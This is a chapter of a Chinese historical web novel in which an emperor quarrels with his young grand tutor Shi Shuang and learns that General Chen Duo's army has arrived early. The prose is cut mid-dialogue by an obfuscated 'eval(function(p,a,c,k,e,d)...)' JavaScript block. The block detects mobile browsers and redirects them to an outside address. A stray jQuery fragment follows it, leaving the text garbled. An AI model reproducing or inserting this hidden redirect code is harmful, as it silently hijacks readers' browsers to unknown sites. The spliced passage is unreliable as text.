皇帝寝宫。
承平帝左等右等,派人去寝宫门前看了好几次,都不见李福袋带着人回来。
他重重拍了几下桌子,气得吹胡子瞪眼,“人呢?朕的太傅呢?!要你们这群人是吃白饭的吗?接个人要这么久?”
“陛下息怒!”
殿内瞬间跪了一地。
承平帝越想越气,不停地踱步,“这李福袋接个人这么久,朕看他是脑袋不想要了!”
“来人!来人!”
“陛下!”
时霜没进门就听见承平帝虚弱不堪的嗓音,远远地喊了他一声。
“都下去吧。”她向四周环视了一圈,平淡地开口。
承平帝听见她的声音更是面上不虞,眼瞅着她走进殿门便开始阴阳怪气,“不知道的还以为你是一国之君呢,竟要朕这个皇帝等你!不若这龙椅交给你来坐,如何啊?”
时霜故作惊讶,“陛下实在是说笑了,臣从宫门前到此,一直是听从陛下安排的,丝毫不敢忤逆。”
她掰着手指头念道:“陛下派李公公来,要臣别踩雪,以免湿了鞋袜不体面,臣照做了。您又要臣踩着人上轿辇,臣也照做了。现下这不也是按照您的安排来见您了吗?”
她不解地抬头,“所以陛下还有何不满意的呢?”
承平帝和她这么一对视,原本的怒容有些维持不下去,眼神心虚地闪躲着,试图和她讲道理,“朕这不是怪你,只是,朕毕竟是真龙天子,这宫宴都要开始了,朕不要面子的吗?”
时霜缓慢地行了个礼,也没等承平帝开口,就自顾自地起身找了个位置坐下。
“陛下就是因为要面子,所以才如此不给臣脸面的吗?”
承平帝面上划过一抹尴尬,不知为何,自打上次同太后对峙过后,他莫名地有些怵时霜的眼神,总觉得越看越心虚,但这是他选的人,他又不能贬了她,不然岂不是搬起石头砸自己的脚。
“朕这也是情势所迫。”
他想打感情牌,“朕坐这龙椅十多年,眼瞅着就没几年活头了,朕得为日后的江山社稷考虑。”
时霜颔首,表示理解,“所以陛下不和臣商量就当众下臣的面子,这是对臣不满啊?”
她握着扶手起身跪地,“那臣有罪,请陛下责罚。”
“......”承平帝一时说不出话来,毕竟是他理亏,但这宫宴开始在即,这太傅若是不去,岂不是告诉众大臣,他选的人半路夭折了吗?
那这除夕宫宴岂不是竹篮打水一场空?
他握拳咳嗽了一声,想转移话题,“你跪着做什么?朕又没怪罪你,快快起来,这像什么话!”
时霜淡淡地开口,“臣不敢,臣有罪,请陛下责罚!”
“时霜!”
看她油盐不进,承平帝也有些真的恼了,“朕这么做也是为了平生,你这是在怪朕?你可是朕亲选的太子太傅!你与朕是一边的!”
“是吗?”
她抬头,清澈的眼底仿佛洞悉了所有阴谋诡计。
“陛下若当真拿臣当太子殿下的太傅,拿臣当您的心腹之臣,就合该在太后娘娘找陛下时同臣毫无隐瞒。陛下若当真为了太子殿下才不得不为,也合该事前就同臣知会一声,臣难不成,会忤逆陛下吗?”
“还是说......是陛下觉得,臣与您离了心了?所以陛下事事都要亲力亲为,那您要臣这个只会教书的太傅有何用?何不将臣贬了杀了,也比这样伤臣的心来得好。”她越说眼里水光越多,看着像是真的被伤了心了。
承平帝对上那双眸子,顿时如鲠在喉,什么话都说不出来了。
还能说什么?
怎么说都像是他这个长辈欺负晚辈。
正当君臣二人僵持不下之际,李福袋连滚带爬地跑进来。
“陛下!陛下!”
承平帝正有火没处撒呢,对着李福袋就怒骂道,“叫叫叫!朕让你走到这个位置是让你冲朕叫的吗?让你接时太傅,迟迟见不到人,如今朕与时太傅议事,你这般着急忙慌地跑进来,有没有点总管太监的模样?你要是做不好,朕便再提拔一个!”
这等指桑骂槐的话,时霜眉毛都没抬一下。
“请陛下责罚!”
“你!”
李福袋眼看着二人又要开始新一轮的对战,也顾不上什么了,赶忙开口打断,“陛下!不好了!皇城守卫派人来报,陈铎大将军的军队已经到了城门口了!”
“什么?”承平帝狠狠皱眉,这是他意料之外的事,本不该发生,怎么会......
据探子来报,这陈铎明明该是今日傍晚抵达皇城才对,怎么这大清早的就来到城门外了?
更重要的是,他这个皇帝,居然是在陈铎到皇城门时才知道消息!
时霜面上不动声色,但心底却是极为震惊。
大殿沉寂了许久,承平帝突然平静下来,声音听不出任何情绪。
“陈爱卿......倒是会给朕惊喜啊。”
时霜微微皱眉,没出声,这个时候,她不能参与,不能帮陈家说一句话,不然事情就大了。
李福袋察言观色,这会儿他简直是冷汗直流,幸好方才他听了时太傅的劝告,不然可就得罪了陈大将军啊!
承平帝背过身,不久后转过头问道,“陈疏白呢?”
“陈小将军在殿外等候。”李福袋赶忙回答。
他眼神晦暗不明,“怎得在殿外候着?没同太傅一同进来啊?”
时霜适时解释,“陛下未曾传他,他如何敢?”
闻言,承平帝哼笑了两声,“是吗?朕看他不敢,他老子可未必。”
时霜撇嘴,要不是她叫陈疏白在外等候,就陈疏白那个护犊子的样,早就跟进来了。
他可敢得很。
“传他进殿。”承平帝突然发出命令。
李福袋低着头应声,“是。”
殿外等候的陈疏白是亲眼目睹了李福袋变脸的瞬间的,习武之人听力灵敏,听到来人说陈铎大将军已至城外时,他心道不好,这简直就是在承平帝的雷点上蹦跶啊。
他忧心忡忡地走进殿门,时霜微微侧头,对上他的视线,二人都在对方眼里看到了对彼此的担忧。
“臣陈疏白参见陛下,陛下万安。”陈疏白不动声色地行了个大礼。
“爱卿平身。”承平帝喊他起来,又看到时霜还跪在一旁,他顿了顿,给了刚回来的李福袋一脚,“时太傅跪在那儿多久你看不到吗?还不快快去扶起来?”
李福袋踉跄了几步,苦着脸过去,“哎呦”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100343|172715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着跪在时霜身边,言辞恳切,“时太傅,您看陛下都发话了,您这就别跪着了呗。”他眼睛使劲给时霜使眼色,生怕她依旧同承平帝僵持着。
心思千回百转,时霜没坚持,顺着话起身,气定神闲地往旁边的椅子一坐,事不关己的态度让在场的几人嘴角都抽搐了几下。
陈疏白起身后站在原地不动,抱拳问道,“不知陛下唤臣进来所为何事?陛下尽管吩咐,臣定当义不容辞!”
承平帝瞥他一眼,不确定的视线落在他的身上,嘴里试探着,“宫宴在即,你可知都有何人参加?”
“这事儿臣一届武官怎会知晓?”陈疏白恰到好处地表现出惊讶,“陛下难不成是在考校臣?”
“随意说说便是,此乃国宴,亦是家宴,你我君臣,今日不说那些繁杂缛节!”
这话说的,要是当真不知是为何事,那就真被骗进去了,脑袋什么时候没的都不知道。
陈疏白轻咳一声,知道今日定是躲不过去了,他这个爹也真是,回来也不说一声,现下还得他来收拾烂摊子。
“臣知晓的不多,但观今日宫门前的盛况,想必诸位同僚定不会缺席。”
他指了指一旁默不作声的时霜,不好意思地笑道,“臣还沾了小时太傅的光,毕竟臣还有一层身份是她的未婚夫君嘛,所以也多多少少被透露了些,今日,应是还有边陲小国来向陛下参拜。应该就是这些了吧?”
闻言,时霜忙不迭地撇清干系,“哎!这话可不是臣说的,若不是陛下昨日叮嘱太子殿下,臣也不会听闻这等宫闱秘辛。”
承平帝觑她一眼,没好气地说道,“哪里来的宫闱秘辛!朕看你这太傅到底还是年纪小,喜欢开这些玩笑话。”
“陛下选的臣,硬着头皮也得用啊,不然臣这罪岂不是白受了?”时霜丝毫不慌,陈铎回来的正是时候,承平帝定不会放弃用她。
果不其然,承平帝听到她这般不掩饰的说法,也只是一笑而过,没什么发怒的迹象。
只是视线再次落回到陈疏白身上时,还是掺杂了些复杂神色。
“罢了,方才城门将士来报,说你父陈铎带兵已至城门口,用不了多久,你父子二人便能团聚了。”
陈疏白闻言,有些疑惑不解,“臣的阿父来信说今晚才能到家,不可能现在就到城门前了啊,陛下莫要同臣开这般玩笑了。”
“哦?”承平帝来了些兴致,“陈铎爱卿传家信也是这般说的?”
“也?”陈疏白敏锐地抓住不对,反问道,“难不成阿父他同陛下也是这般说的吗?”
承平帝见状点头,“是啊,看来,陈铎爱卿是要给我们所有人一个惊喜啊。”
“此言差矣。”陈疏白皱着眉,单膝跪地,一脸不赞同,“陛下乃昭胤天子,同天子怎可行欺瞒之事?阿父想来是糊涂了,才会如此行事,臣提议!该贬贬,该罚罚,以此彰显皇威,以儆效尤!”
“咳咳咳!”
时霜没忍住,被口水呛到,顾不上喉咙的痒意,震惊地看向陈疏白,“陈小将军这是要大义灭亲?”
承平帝立在那也看不懂陈疏白这是何意了,他还以为,陈疏白要替父认罪或者求情呢,没想到,竟是要求严加处罚,以做表率?
这放在何种年代都简直是闻所未闻啊。